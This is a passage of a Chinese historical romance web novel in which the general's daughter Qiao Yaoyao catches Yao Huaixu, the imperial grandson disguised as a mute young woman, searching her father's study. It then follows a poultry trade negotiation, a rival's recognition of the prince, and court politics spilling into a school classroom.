乔杳杳高兴地直接抱住父亲的胳膊,“父亲!父亲!元娘好想你!”
乔万屹轻轻刮乔杳杳鼻子,“又惹你娘生气了?”
乔夫人心有余悸差点以为真的能打上背,但是被自己夫君拦住,拉不下脸恨铁不成钢道,“你就护着她吧!”
乔万屹不以为意,“家里就这么一个小娇娇,夫人别生气嘛。”
乔杳杳不赞成问道,“阿姐不是娇娇吗?”
乔青松就笑,“阿姐可是巾帼,就你娇气,可别给阿姐抹黑!”
姚淮序听着隔壁院子里的欢声笑语,不知在想什么,余光瞥见沉月进了院子。
“苏小姐,我家夫人有请。”
乔夫人心细,怕冷落了姚淮序,叫他一同过去说说话,还没坐够半盏茶的时间乔杳杳就拉人出门说给乔青松挑生辰礼物。
本来乔青松要一同去,要好好宰平日里一毛不拔的公鸡一把,谁让她不提早仔细准备。但小厮传来消息说方大人和公主要北上,乔将军便和乔青松去城门送人。
田庄的事情告一段落,刘氏夫妇有意隐瞒罚银十辆,李氏父子图谋不轨皆下大狱,李夫人却怎么也找不到,全城通缉,临近城池关郡也派了人马往衙门报信。
此案乔青松主审,方书来监审。方书来离开北郡时和乔青松说来日见,在场人都心知肚明,这不是客套话。
盛京,要派人来了。
城北花月楼里乔杳杳正拿了珠钗给她比划,“姐姐,这个怎么样?”
姚淮序略微后退一步,突然意识到自己比乔杳杳高出半头,在这首饰铺里实在显高,不似,女子身材。
声音不像可以装哑巴,面容不像可以添脂粉,可这身量怎么装?难不成砍了一截?
正想着旁边便有女子小声议论道,“你瞧她,怎么那么高?”
“对啊,好高,我还没见过这么高的人。”
“习武之人吧,不过那小姐倒是生的标志。”
“好羡慕她如此高呀!”
“姐姐在发什么愣?”
乔杳杳将他拉回神,原来这北郡民风要更开朗些,女子身材高挑些不算大事,难为他总是担心,又想起乔亭雪也是高挑个子,略微放心。
不过,这个子再长可就不对事了,无所谓了,反正他查明白就走。
“姐姐,快挑一个,再不说可就不给你买了!”
给他买的吗?姚淮序认真挑起来,连看三行首饰盒最后挑了玉坠。
“这位小姐真是好眼神,这玉佩乃上等紫玉,属珍品。”
“多少钱?”乔杳杳问。
管事得意,用手比出两根手指,
“两百两?那包起来吧。”
“小姐误会了,是两千两。”
“不不不,等等等等,你再说一遍?”
管事但笑不语。
乔杳杳顿时脸垮下来把管事叫到一边。
“我是乔家三小姐。”她上来就亮身份。
管事自然认得,摸不着头脑恭维道,“原是三小姐,小人有眼不识泰山,不知三小姐有什么事?
“嗯嗯……”
管事:????
嘴角抽抽,“不知三小姐……”
“我说,赊账…”
花月楼铺子管事万万没想到乔家三小姐竟然要赊账,这合理吗?一时间没有反应过来,确认道,“三小姐是不是……”说错了。
可还没等他说完乔杳杳一拍他肩膀,“就这么说定了,以后每个月的今日还你二十两。”
管事不可置信,二十两?!这得还到什么时候。
“三小姐,小人觉得这不合适。”
乔杳杳根本不听他说什么,大手一挥,“来人,拿纸墨。”
半刻钟后管事手里拿着乔杳杳的欠条目送两人离开,一脸苦相。姚淮序也没想到这姑娘竟然给她赊账买这么贵的玉坠,这么贵买不起要不咱就算了?
在里面还给乔青松买了发冠,三百两,对比之下简直就是天差地别。
这也不能怪乔杳杳,她一个月只有二十两零用,攒一年才够给哥哥买个发冠,乔家家训乃“勤俭持家,清白立身”。而且吃穿用度府里一应支出不用她自己买,所以一个月也花不了什么。
她本来不打算给姚淮序买这么贵的,但是人都开口了,乔杳杳本身就不是个会委屈朋友的人,现在好了,摇身一变负债乔。
乔杳杳脑袋瓜一转,管庄子总要给些辛苦费的吧!
姚淮序不知道乔杳杳脑子里已经绘制了黄金满屋的宏伟景象,他一心关注为什么乔杳杳要给他买这么贵的东西?乔青松她二哥都没有诶?!
相处近两个月他算是发现这位可是一毛不拔的主,难道是因为自己太优秀害怕不跟她做朋友了吗?也是,姚淮序回想,自己相貌端正,举止有礼,性格有趣,谁不喜欢?想当初都城喜欢他的姑娘可是从城南排到城北。
他可是女娘们最想嫁的郎君,都城比北郡大得不止一点半点,比乔青松还要招人喜欢。
等等,元娘曾经承认喜欢他!
这个苗头一冒就一发不可收拾。
姚淮序目光复杂地看乔杳杳,默默离她远了些,但嘴角忍不住上扬。
要是她真喜欢女子,喜欢上他那乔家能同意吗?!他可是男子!到时候身份一揭露,乔杳杳……
姚淮序想象乔杳杳一个人坐在院子里面对着月亮啪嗒啪嗒掉眼泪,简直不敢想,竟然怪…怪……怪可怜的!
唉……他也不想的,眉头微蹙,略显苦恼。
后面三人又在北城吃了马家杏子酥和醉酒仙的水晶蒸饺。乔杳杳并不喜欢吃水晶蒸饺,但点了两份,沉月倒是吃得眼睛亮晶晶。
一回府上乔
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杳杳就去找母亲说辛苦费的事情。虽然说现在庄子被封要彻查但辛苦费不能少吧!
乔夫人被她这副土匪模样逗笑,最开始明明是她央求了去,如今反过来还要辛苦费。
辛苦费哪有怎么好拿?
正好庄子之前留问题还没有解决完,查庄子的官员心里计较只查不停生意,所以鸡蛋还在照常卖,这价格一事,正好交给乔杳杳去谈。
白拿钱,哪儿有这么好的事情?正巧乔费两家知根知底,两家长辈有意结亲,乔夫人看着乔杳杳心想让两孩子接触接触不是坏事。
夜晚
“咕——咕咕——”
“咕咕——咕——”
姚淮序睁开双眼,披上外裳掩好门翻了院墙,环视一周,桃肆就在不远处一个树上
朝他招手。
“殿——下——”
姚淮序问,“什么情况了?”
桃肆这次带来的明显是好消息,还没说就已经眉飞色舞,“殿下神机妙算,皇上借着王爷一事隐忍不发,朝中心怀异心的那几个便大喜忘了分寸日益嚣张,皇上当机立断用您收集的历年证据将他们抄了家,其中还包括王爷的心腹。
失去内应王爷接下来便会有大动作,皇上说最快七月您便能回去。”
姚淮序拍拍桃肆的肩膀,“辛苦你了,桃肆。那信有眉目了吗?”
“没有,这些时日我扮做小贩在郡内游走打听十几年前的事,大多都是说乔沈两家忠勇,乔家死守郡城不让草原人破了城门,如此一来才守住盛京的大门,守住盛州。”
姚淮序斟酌,“嗯,我会加快速度。”
桃肆摸了摸身上,从胸口掏出一个饼,“殿下,你吃吗?这是我卖的饼。“
姚淮序笑,伸手去揉桃肆脑袋,“好桃肆,你什么时候学会做饼了?”
“谁?!”一道厉声划破天际,乔府守卫发现了树上藏着的人。
姚淮序和桃肆互相交换眼神,饼还没有接过两人背向而走。桃肆先下树引走侍卫,姚淮序朝相反的方向一跃进了桃阁。
府上被这动静闹醒,各檐廊的灯盏挂起,乔万屹披着外衣站在庭院里主持大局,程伯站在一旁道,
“东南角的树上藏了人,我去追却没追上,来人轻功了得。”
乔万屹面上不显心中却微微诧异,程伯是他一手带起来的,功夫不浅,可连程伯都没追上可见对方实力实在了得。
会是谁?乔万屹细细琢磨近来的事情,思来想去,脑子中浮现在吴管事屋子里发现的盛京物什。
不由得眸中一暗,吩咐道,“带人在府上再细细检查一遍。”
“是。”
这动静不小,乔杳杳自然被惊醒,乔青松立在桃阁院中央盯着人来回仔细检查各个院墙、角落里的树。
“哥哥,怎么了是?”
乔杳杳也只披着一件宽大外衫,乔青松给她拢好系带,“程伯发现东南角有人藏在里面,父亲担心来人不善要把每个院子再细细检查一遍。”
乔杳杳问,“是谁?”
乔青松摇摇头,“不知。”他压低声音又道,“可能是盛京的,之前父亲在吴管事那里找到了盛京物什。”
乔杳杳惊讶,“盛京的?”
乔青松还未肯定,就见住在左侧偏房的姚淮序打开了房门,院中两人间心有默契不再往下说。
21. 苏清序,你就是个没良心的
搜过一圈后,乔青松让两人回去安心睡觉。
“阿序姐姐?”
姚淮序一听乔杳杳这么叫瞬间条件反射,回想刚才惊险,乔府上下果真卧虎藏龙,他和桃肆已经藏的极好却还是被发现了,不过乔家内里全是能人也难免,那个程伯倒真是有些本事。
姚淮序偏头,表示不解,有什么事情吗?
“你害怕吗?”
姚淮序摆摆手打算回屋,他可不是什么娇娇小姐。
乔杳杳亲昵地搂住他胳膊,姚淮序一僵,不自在暗中挣扎。
“我害怕,后半夜姐姐跟我睡吧,我的床大不用打地铺。”
姚淮序本想拒绝可乔杳杳拉着人就往屋里走,那他怎么办,他表现的太过抗拒容易露馅,总不能说他是男子这于理不合吧!
况且之前还在一张床上醒来,太过抗拒那不明摆着有事情吗!
而且她好似不在说谎是真的害怕,想起她每次白天受了惊吓晚上都梦魇的事情,犹豫三瞬自己安慰自己,
都是为了打消乔杳杳的疑虑和怀疑。
院子里安静下来,乔杳杳和姚淮序一个人一个寝被躺在乔杳杳的床上。
少女闺房散发着说不上来的好闻熏香的味道,轻纱帐落下,屋中烛火还点了一盏未灭,光影斑驳,在姚淮序心中滋生出一种昏暗、隐秘的滋味。
“姐姐,你睡着了吗?”
乔杳杳面朝上问完以后侧身朝向姚淮序,姚淮序一偏头就能看见她悠长的睫毛,他眼睛眨巴,明显没睡。
乔杳杳这次酝酿了很久,才问出口,“你是不是有事情瞒着我?”
姚淮序的身影倒映在乔杳杳的眼眸里,他喉咙滚动,在乔杳杳手里速度极慢写道,“没有。”
乔杳杳侧身翻回去,合起眼眸道,“我信你,日后你若是想做什么只管告诉我,只要不是作奸犯科我都会帮你的。”
“但你要是骗我……”
没有后语。
最后一句声音特别轻,姚淮序犹豫两下再次写道,“嗯。”
乔杳杳进入梦乡,姚淮序默默睁开眼睛看着身旁人的睡颜,悄悄往墙角挪了挪,困意全无。
他打算趁热打铁,让乔杳杳做人证,一不做二不休干脆今晚夜探书房,前两次没得手,如今守卫都调去外院,正是好时机。
他猫着身从乔杳杳身上跨过去,轻轻合好门绕过走廊避开守卫,一个侧身闪进书房,全凭那点子微弱月光和白日里的记忆姚淮序摸上书架,一寸寸探索。
“吱呀——”一声门响,
姚淮序侧身想从窗户里翻出,刚掀开一点就看到有人将手伸进来扶住窗框,抵住他的力道。
那手指素白,纤细修长,姚淮序眉心止不住地跳。
他没用力,对方将窗板放下,声音再响起时已移至门处。
乔杳杳点燃书案上一盏灯烛,房间被照亮一小片,依旧很昏暗。
她端起烛盏走到姚淮序身旁,抬头看他,用端烛盏的那只手手腕环住那人脖子将他压至眼前,她讨厌这样仰视一个“坏人”。
姚淮序没有半分挣扎顺着力道弯腰与她平视,两人气息交杂。
阴沟里翻船翻到乔杳杳身上了。
措不及防她另一只手猛然抽出后腰别着的刀架在姚淮序脖子上,烛火将蜡燃融,滴在姚淮序皮肤上形成蜡滴,周围皮肤被烫红。
姚淮序眉头都没皱一下,眼眸一动不动,里面只有乔杳杳。
面无表情的精致小脸现在多了几分平时没有的温怒,她在生气什么?生气自己有事情瞒着她吗?
又掉下来一滴,乔杳杳干脆将灯盏吹灭随手挂在旁边架上,手推姚淮序让他坐在窗柩边沿,虎口掐着他的脖子,手里的刀慢慢下移,尖口对准胸膛。
月光钻过窗纸,将乔杳杳的影子映在姚淮序身上。
她低声,半威胁半哄骗道,“姐姐,小心我杀了你。”
刀尖微微用力用力陷在肉里,再深几分就会见血。
他总觉得心脏会自己跳破胸膛一头扎在乔杳杳的刀上。
故作镇定抬眸看向乔杳杳,乔杳杳带着恼怒质问她,“我父亲问过你要不要复仇,也说可以帮你,是你自己拒绝的,现在又是个什么意思?”
姚淮序偏头不答,乔杳杳凑近伸手将她下巴掰正,蹙眉心烦道,“苏清序,你有毛病啊!”
姚淮序气笑,他抬手推乔杳杳,乔杳杳拍开她的手,道,“我最后再问你一次,你考虑清楚到底要不要告诉我。”
少女神色坚定,黑白渭泾分明,姚淮序张张不开口,所有言语都显得苍白,无力感顿生。
乔杳杳低头自嘲的笑,收回刀,上手扒开他的衣领从中掏出玉坠,紫玉的那块儿,姚淮序伸手捂领口却没她动作快。
她把紫玉握在手上掀开窗子一抛,“苏清序,你就是个没良心的。”
说完她就走,利索干脆,也不管姚淮序后面会不会翻书房,会不会找到他想要的东西。
程伯带人在院外候着,见自家小姐出来上前相迎,“小姐。”
乔杳杳眼眶泛红,随意问道,“父亲说什么。”
程伯顿一瞬,“将军说,请苏小姐自便。”
姚淮序站在窗边听得一清二楚,今晚,也不知到底是谁入了谁的局。
之后他还住在乔府,乔府上下下人待她如常,除了程伯和几个护卫都不知情,乔万屹从头到尾没再露面,好似昨晚都是一场梦。
沉月给乔杳杳梳洗,在一旁提醒道,“小姐,二公子今日去了学堂。”
乔杳杳打着哈欠困成一团,喃喃道,“跟我有什么关系?”
沉月提醒,“夫人问你什么时候也去学堂,学堂的先生派人来催过几次。”
“不不不……你说什么?学堂的先生派人来催?大早上我没睡醒还是你没睡醒?”乔杳杳不可置信,这怎么可能?!学堂里的先生最是烦她,怎么还会派人来催?
“从先生没教过像小姐这般不服管的姑娘,之前跟将军保证要做出一番功绩来。”
乔杳杳想起这事了,从先生是她的教书先生,虽然也有别的老师,但她个人是归从先生
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管的,也没有别的原因,就是她太闹腾了,书院没有哪个女儿家同她一样爬树、翻墙、和男同窗打架,真的,很不省心。
从山蒲没见过这么闹腾的女学生,当机立断揽入自己门下,若是教乖顺了他可太有成就感了,他这人就爱钻牛角尖,拦一些别人不爱管的事情。
之前乔杳杳在庄子上就时不时给乔府写书信言“当以读书为道”,偶尔还会旁敲侧击乔青松,让他好好劝劝自己妹妹,乔青松总是听听就算,当耳旁风。
现在庄子不能去,乔杳杳就呆在家里,这可乐坏从山蒲了,连着写好几封书信催乔杳杳上学。
乔杳杳本来想拒绝的,眼睛溜溜一转,改了主意道“那就收拾东西去吧,把苏清序那份儿也收拾上,她和我去书院里住。”
沉月犹豫,“别了吧小姐,你去书院的话奴婢可进不去,还有苏小姐,你还没问过她的意见。”
书院有规矩,凡住宿者不得带丫鬟仆从。
乔杳杳冷笑,“她有什么意见?我巴不得她住的离乔府远远的把弯弯心思都收起来。”
“夫人说小姐确实是应该上学了。”
乔杳杳听声音回头眼睛一亮,“嬷嬷!”
李嬷嬷正掀了竹帘走进内室,“小姐怎么还没收拾好?今个儿要去青园忘记啦?苏小姐已经在马车上等您了。”
对了,今日要去青园商量鸡蛋的事情。
“就来就来。”
来不及用早膳于是乔杳杳在路边买了两块栗子糕垫补,可是栗子糕很甜,不能吃很多,也就尝尝味道。
姚淮序没有栗子糕可以吃。
青园是费老七的铺子,取自“青青园中葵,朝露待日晞”,费老七是乔青松的同窗,说起来关系还不错,就是和乔杳杳有些不对付。
费老七原名叫费浮罗,家中排行老七。
据说“浮罗”这个名字有两个故事,一个是他父亲感慨蜉蝣朝生暮死,另一个是他母亲信奉般若波罗经,乔青松总是叫他的字,承风。
云川广阔兮,承风而行。
“元娘,怎么亲自来了?”费承风手里拿一把青玉扇悠哉悠哉给自己扇风,亲自在青园门口等人,等谁不言而喻。
“你费老七存了心让我来,我又岂能不来?”
费承风被点破心思也不闹,收了扇子笑吟吟把她扶下马车。
“怎么能这样说七哥?”
姚淮序看着两人叠在一起的手,乔元娘一个女子,李嬷嬷也在一旁,怎么能让一个外男去扶?
姚淮序不耐烦,脸色难看,但是不知是为乔杳杳不自爱还是为昨晚的事情生气。
费承风注意到马车里还有一个人,伸手去扶,姚淮序直接避开自己下了马车。
费承风一顿,笑吟吟问,“元娘,这位是?”
乔杳杳道,“苏清序。”
“是那位吗?”
乔杳杳径直走进青园,路过费承风时眼皮也不抬,“你都知道还问。”
费承风笑一声跟在后面,姚淮序到这会儿就很恼火了,连姐姐都不叫了。
22. 你们又算是什么青梅竹马
本来以为今天乔杳杳要和他说些什么才带他出来,如今看来就是不想把他放在家里,防着他。
姚淮序简直是气笑了,偏偏他没办法发作。现在他就真该拍拍屁股走人,堂堂皇太孙何时受过这种窝囊气?
青园是北郡城内最大的蔬果市场,各个小贩的蔬果几乎都来源于青园,同时青园也是乔杳杳庄子上鸡蛋的最大买家。
提到这个乔杳杳把纸契放在费承风面前,“费老七,这个是我写的关于庄子和青园之间的买卖来往,银钱我也算过。一日庄子上就会往青园送五百枚鸡蛋,抛去货损也能有四百五十左右,按照现在北郡城内的市价,一贯钱三十个鸡蛋,这四百五十个鸡蛋能卖十五贯钱。
我给青园再算便宜些,十三贯钱,每日青园的鸡蛋由我的庄子供。”
费承风不疾不徐喝了口茶才道,“元娘,你未免太会算了些。这么算瞧着是我青园赚了,可没有青园你又找哪家大园子收你的鸡蛋再分销?只吃两贯钱——我这里不划算。”
费承风的扇子如他这个人一样,不徐不疾地悠悠扇着。
乔杳杳本就是故意这么压价,因着她心里还打着别的算盘,“你这青园只卖蔬果,有没有想卖点别的?”
“不是还收鸡蛋吗?”
乔杳杳亲自给他倒一杯水,“费老七,你看这满北郡的吃食最多的是卖什么肉?当属不让是鸡肉,我庄子上有鸡蛋自然有鸡肉,咱们两个可以联手我供货你出货,拿下北郡城里鸡肉商铺的供应。”
费老七一笑,桃花眼睛上扬,扇子举在额头故作迟疑,“元娘,你这一口一个费老七,让我很难思考啊~”
乔杳杳失笑,“七哥,好了吧。”
真是多少年了还过不去这个坎儿,费承风在致力于让乔杳杳叫自己哥哥的路上茕茕孑立走了许多年。
他和乔青松同岁和乔杳杳也同岁,十分致力于听这声“七哥”。
“欸!这不就好了吗?七哥怎么能不帮自家妹妹?”
“pang—”一声姚淮序的茶杯重重磕在桌子上,茶水洒出来。姚淮序似笑非笑看他们一眼。
乔杳杳熟视无睹,自顾自掏出手帕擦了擦手上被溅上的茶水。
他径直走出门,觉得他们两个一来一往格外招人讨厌。
乔杳杳接着道,“那七哥可以和我商量了这鸡蛋和鸡肉的事情了吧。”
费承风心情大好,抬手合扇,愉快道,“自然,元娘信任我这是七哥的荣幸,既如此那七哥便给元娘一个方便。”
“什么方便?”乔杳杳十分期待。
“一日鸡蛋能卖十五贯钱,我便不拿你鸡蛋的利润,鸡肉呢现如今价几何?”
“一两七钱”
“那七哥愿意一两六钱收,好叫元娘多赚些,这样也不至于去花月楼还要赊账。”
费承风打趣儿她,她可不在意,这声七哥真没白叫!这样一来花月楼的两千两还清简直指日可待。
费承风又开口道,“往年也不见你这么大方,今年倒是慷慨给天成准备紫玉这么贵的吊坠。什么时候给你七哥也准备个好物什?”
乔杳杳反驳道,“七哥这玉扇用的不顺手?”
她才不会告诉他紫玉吊坠是送苏清序的,不然她哥哥不得把房顶都掀了?!
费承风哈哈一笑,“趁手,趁手。不过我可不管,你和那苏小姐到底怎么了?你们可瞒不过我的眼睛。”
乔杳杳撇撇嘴起身抱怨道,“不劳七哥费心,七哥还是想想怎么应对家里亲事吧。不过我说你又不是不知道两家有意撮合,但你、我又没这个意思。”
费承风扇扇子道,“元娘,过来。”
乔杳杳本来都走到门口了闻言转身看费承风,不解,依言走过去,费承风拿自己手帕去给乔杳杳擦脸,其实没有东西。
乔杳杳下意识躲,可费承风又道,“别动,沾了茶末。”
乔杳杳停在原地乖乖等他擦完。
“你不会……”
话没说完费承风就拿扇子拍她背,他像乔青松一样把她当妹妹,所以才会一直热衷于逗乔杳杳这个妹妹,想尽脑汁要听一声七哥。
“可别给你自己脸上贴金啦!”
乔杳杳脑子转不过弯,“七哥,你费这么大周折为了什么?”
刚开始压价现在又吃不了几分利钱,也不愿意娶她费这般周折做什么?
费承风收好帕子,无奈道,“元娘还不知道七哥为得什么吗?真生七哥气了?连学堂都不去了?”
乔杳杳早就把这事抛之脑后了,经费承风一提醒才想起来,她之前交给先生的那篇作业大半是费承风教的,当时费承风气恼她总是“费老七费老七”的叫,存了捉弄人的心思,导致乔杳杳第二日交上去的作业被先生大骂特骂。
乔杳杳是个记仇的主,当下阴阳怪气道,“元娘可不敢,还要多谢七哥,不然先生可记不牢元娘的大名,日日去乔府登门拜访。”
费承风不占理,笑道,“七哥这不是给元娘赔罪了吗?”
乔杳杳撅着小嘴,“那还差不多,”毕竟这可是白花花的真金白银啊!
“那七哥还要保密花月楼的事情。”
“好——”
“七哥还要想办法退掉婚约。”
“本就没定何来退亲一说?你我二人回去如实相告家中父母即可。”
“那倒也是。”
费承风余光瞥到沉月正在跟姚淮序说话,收回视线嘱咐道,“元娘日后离那姑娘远些,她可不是你能惹得起的人物。”
乔杳杳拿不准这是知道还是不知道苏清序的事情,也不反驳乖巧点点头,小声嘟囔,“嗯,简直就是个狼心狗肺、忘恩负义不知好歹的……”
“去青园挑鱼吧,让于伯带回去给你煲鱼汤。”
青园的鱼很鲜。
沉月正在院子里面给姚淮序讲费承风和乔杳杳的事情,“小姐和费公子两人年岁相同,少时经常在一起玩,费公子那把玉扇子就是小姐送的玉,但是去庄子前呀费公子把小姐惹恼了。”
姚淮序挑眉,惹恼了?原来惹恼了,恼了?为什么恼?
他示意沉月接着往下讲,忽而后面一道人声传来,少年嗓音如人一般温润如玉,
“沉月,元娘找你,她去鱼池了。”
沉月行礼,看向姚淮序,结果费承风催促道,“你先去,元娘叫苏小姐随我去拿些东西,怎么,你还不信我了?”
沉月笑道,“奴婢可不敢。”
姚淮序脸色阴沉,目光不善毫不掩饰地打量来人,谁知对方竟然给他行锦州的礼数。姚淮序眸中一暗,不动声色看他要干什么。
“草民曾随父亲到锦州都城做买卖,有幸观瞻太孙殿下真容,草民参见太孙殿下。”
姚淮序呵笑一声,带着昨日的不愉快,好气道,“费承风,你装什么?七岁还同我打果子转眼就自称草民,也是,太子一脉没落正合你父子二人的意吧。”
“怎么,这北郡到底是多好个地方连你也来这里?”
费渡曾经是太子同窗后是幕僚,直到费承风十岁离开锦州前和姚淮序也算得上是儿时挚友,后因政见不和费渡与太子分道扬镳,一气之下辞官举家离开都城。
“费渡此人心气傲,是个清正耿直的读书脑,一根筋走到的家伙,”姚淮序时常听自己父亲这么评价他,还说,费渡曾是他最好的朋友。
可你看,最好的朋友不也分道扬镳了吗?
他和费承风儿时那点子情谊如今看来不也是微乎其微吗?
姚淮序的不悦写在脸上,侧头看沉
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月离开的方向,拿舌尖顶一侧的腮,又滑过牙齿,明明笑着眼中却无半分笑意。
“既然你认出来我了,那我也省些力气。”
姚淮序推他,费承风顺力后退,两人前脚后脚进了屋子。
姚淮序坐着,费承风站着。
他也不爱喝青园的茶,开门见山道,“外界都传我死了,你这时候揭穿我的身份是想告诉郡守好邀功吗?郡守是谁?噢,这北郡在乔万屹手底下管着。”
费承风恭敬道,“殿下误解了,我非要邀功,也没有要揭穿殿下身份的意思,同样我也知道殿下如此做定是有殿下自己的考量在里面。”
姚淮序低头看看自己的湖色交领祥云裙,想起被乔杳杳扔掉的紫玉吊坠,只觉得讽刺。
“那你是个什么意思?一面说没有另一面又口口声声叫我殿下。嘴上是说没有,可你不是直接做出来了。”
他语气不善,帝王者的威压紧紧将费承风包裹,化为雾障,留他一人在里面挣扎,做无用功。
费承风后背出一声冷汗,心道,这皇太孙果如外界传言一般,天生的帝王。
他更加恭敬,
“承风只想提醒殿下,北郡虽小但难免有都城的旧人,还望殿下以自身安危为重,早日还都。”
姚淮序眯起眼睛审视他,像猎人盯紧猎物,下一刻就会收网绞丝猎物。
“你威胁我?”
“在北郡住了不过七年,就忘记自己本根是何处了?你同乔元娘算得上是儿时竹马吗就来担心她乔家,拐了弯儿提点我,真当我看不出来?”
“费承风,你胆子好大!”
姚淮序说这句话时语气轻飘飘的,可威压半分不少,盛气凌人。
他也不知道注意力怎么就在青梅竹马上,不过是七年就敢这么称呼了?真当他身在北郡无依靠能受他威胁?好大的脸面?七年不见这家伙是个蠢的吗?敢这么说话?
姚淮序细细一品,又品出来点不一样的味道。
好好好,这是护着乔杳杳来了,他是什么洪水猛兽吗?他还能吃了乔杳杳不成?她睡床自己睡地铺的时候他说什么了吗?他难道不想走吗?
想起来乔杳杳扔紫玉时的干脆。更加气盛,真是乔元娘的好七哥。不愧是自小长大的情分,刀架在脖子上还有空跟他讨价还价,还要为乔元娘着想,真是一个尽职尽忠的好竹马。
“你还当真是关心她。忘了自己是谁了?”姚淮序眯起眼睛睨他,咬牙切齿道,
“我做什么用的着你来指点?”
“殿下息怒,承风自是不敢。况且家父早已不参与朝廷纠纷,是锦州人还是盛州人,都已经不重要人了。”
这是撇清关系的意思,也表明费承风他无意拿技俩算计姚淮序。
他又道,“乔家世代忠良,元娘性子纯善,费家初到北郡时多受乔家照拂,滴水之恩,当涌泉相报,还请殿下高抬贵手。”
“那他费渡怎么不报太子的提携之恩?!也是,人都没了,早就分道扬镳,有什么相遇之恩?”
“殿下……”
姚淮序是笑着的,可他的笑却让人如冰锥刺骨般,寒冷至极。
他起身,背对费承风,声音如淬冰霜,“费承风,我做什么还用不着你来指点,管好你自己,管好你费家。我既然不主动找你,你也别来烦我,乔家如何与你何干?若我真想做些什么你又能如何?”
他姚淮序向来就不是让人拿捏的,
费承风蹙眉瞧着那人却走越远,心想,乔元娘,快把眼睛擦亮些!
他本想告诉好友乔青松,可这事要真让乔家知道了也并非好事,到时陷入两难抉择,如今连他都能看出来盛京盯得紧,真是,屋漏偏逢连夜雨啊!
费承风犹豫,是否要当机立断告诉父亲。
23. 是不是算计,只要她心甘情愿便不是
费承风一直觉得当年之事另有隐情。
锦州都城传费渡和太子分道扬镳,意见不合费渡一怒之下辞官离都并扬言此生不回锦州,此生不再与太子交好。
他一直不相信,若是厌恶一个人又怎么会把对方的诗词仔细索罗做成一本诗集?又怎么会在听到对方死讯时潸然泪下怕人看见又慌忙拂去?
只有一个可能,父亲心里一直记挂着这位老友。
当费承风告诉费渡姚淮序在北郡时费渡沉默了许久,久到蜡烛都要燃到底,费承风的茶水添了三次。
费承风第四次端起茶壶,双唇微湿时他才缓缓开口,明明才过半百,声音却说不上来的苍老,“承风啊,有些事情,从一开始就注定了,凡事有因必有果啊!”
“父亲此话何意?”
“我老了,你还年轻,这世道本就是给年轻人闯荡的世道,我和太子殿下曾经有个一个棋局,本以为终生不得解,这样也好,谁知这棋局的解棋人竟然是太孙殿下,是天注定啊!冥冥之中自有定数。”
这一番话说得云里雾里,看不清摸不透,费承风似懂非懂,“那父亲是想我帮太孙殿下?”
“正是,为父希望你用自己的生命去守护太孙殿下,他是锦州少主,未来君王。”
“那乔家……”
费渡摇摇头,起身,“从一开始,乔家就在局里,这是命数,躲不开也逃不掉。殿下不会伤害乔家,乔家解局的关键一直在盛京。”
他把手指直直点在桌子正中央。
“时机到了我会告诉你一件事情。”
费承风本还想再问些什么,可费渡已经摆手让他离开。
起身告辞,路过中庭仰头看蔚蓝色的天空,费承风心中有了定数。
乔杳杳和姚淮序冷战,尽管两人都搬到了书院,是同桌,都在一个寝屋,也依旧在冷战,谁也不和谁说话。两个人之间被拉起无形屏障,他在这头,她在那头。
白日里上课乔杳杳被提问,答不上来就罚站,大部分时间是在趴着睡觉,姚淮序不会说话先生们自然也不会提问,但也因着不会说话没人和她做朋友。
乔杳杳是学堂里的小霸王,只有陈新紫愿意和她玩,陈新紫也是个性子爽朗的姑娘。
五月中旬,北郡迎来今年的第二道圣旨,
三月之内连下两道圣旨直达北郡,其中意味不言而喻。这道圣旨同样和方大人、乔家有关,意思大致如下:
方大人送亲后不必返京,直接走马上任北郡郡监,乔万屹任郡守,乔亭雪升职都尉。
看似赏,实则罚,打一巴掌给个甜枣的做派。
乔亭雪和乔万屹看似官职又升,可方书来是郡监,掌管郡内财政大权,如此一来便是把命根子交了出去,郡内调度、开支都要方书来点头。
郡监郡监,顾名思义,乔家一举一动都将在他人眼皮子底下,做什么都要他人点头。
方书来没到北郡之前,没有郡守的正式官员任命,一直都是乔万屹尽心尽力也不求朝廷封赏,如今朝廷到时想起来了,又不放心乔万屹还放了郡监。
合乎法理,却伤了乔家一家忠臣之心。
方书来自草原启程,方家家眷自盛京出发,竟然比他还早到半月,明眼人一瞧就知这明摆着就是算计好了的。
北郡大半拥护乔家,为乔家打抱不平,也有一些认为朝廷此举甚好,御下治国安民之良策,隐隐追随方书来甚至主动示好。巴不得乔家倒台,好让他们也试一试北郡郡守的滋味。
临近五月末,方书来之女方清清与乔杳杳成同窗,方清清长得漂亮,有弱风扶柳之姿,眉目含情之貌,带人温和,说起话来娇娇弱弱,又带着盛京来的名头,这么一个娇滴滴的小姐,大部分人都爱哄着,风头正盛。
今日是从山蒲授课,他拿着书在讲台前走过来走去,滔滔不绝,犹如文思泉涌,讲到兴致处还会举几个例子或是和学生们讨论讨论。
他时常引经据典教育学生,从不枯燥。
讲到君臣时从山蒲问乔杳杳何为君,何为臣。
乔杳杳答道,“君为主,臣为辅,君需自勉知人善任,臣需尽忠供奉良主。君乃表率,君不义则臣不忠,君不慈则民不安,君为一国之君,臣为一国之民,究其根本,何为国?万民安居则为国。”
从山蒲又问,“何为良主?”
乔杳杳弯身行礼,笑道不知。
突兀响起一声浅笑,方清清起身行礼道,“学生略有见解,望先生一听。”
从山蒲手拿书卷微抬,让她细讲。
“自古以来良臣易寻明君难得,正所谓千里马常有而伯乐不常有。君是一国之君,臣是一国之臣,君为主臣为辅,君臣佐使,共治天下。清清认为当今陛下便是良主,体贴百姓,知人善用,忠臣之后更是善待如同亲子。”
忠臣之后说的是沈祀安,嘉德三十八年沈家除幼子尽数战死沙场。
“清清有幸曾在宫宴得见沈侯爷,陛下待侯爷如同亲子,起居饮食总是细细过问,清清见识浅薄,认为这便是良主。”
周围人唏嘘,不知是为方清清见过梧帝唏嘘还是在为梧帝对沈祀安嘘寒问暖唏嘘,乔杳杳冷笑一声。
方清清噙笑回头,“不知乔小姐有什么不同见解?”
“杳杳不敢苟同。”
方清清挑眉,话语间带着钩子,想要把乔杳杳之后的话也钩出来,最好是一些不同寻常的。
从山蒲清咳两声道,“好了,点到为止,都坐下吧。”
乔杳杳眼中倔强,手指攥着衣摆极力隐忍,方清清那番话不就是点她乔家的吗?她还欲再争辩,姚淮序猛然伸手将她落坐回座位。
乔杳杳拂袖打在他手背,迅速红了一片,半个眼神都没有分给他,姚淮序沉默着将书翻到下一页。
说实话,他很烦这种状态。
进了书院桃肆就不能经常找姚淮序,姚淮序也不方便调查只能让桃肆暗地里收集。半个月的时间桃肆零零散散整理出一些苗头,锦州那边催他回去,有没有查出来都无关要紧。
“好了同学们,今日进行课堂校验,先交策论者可先走。”
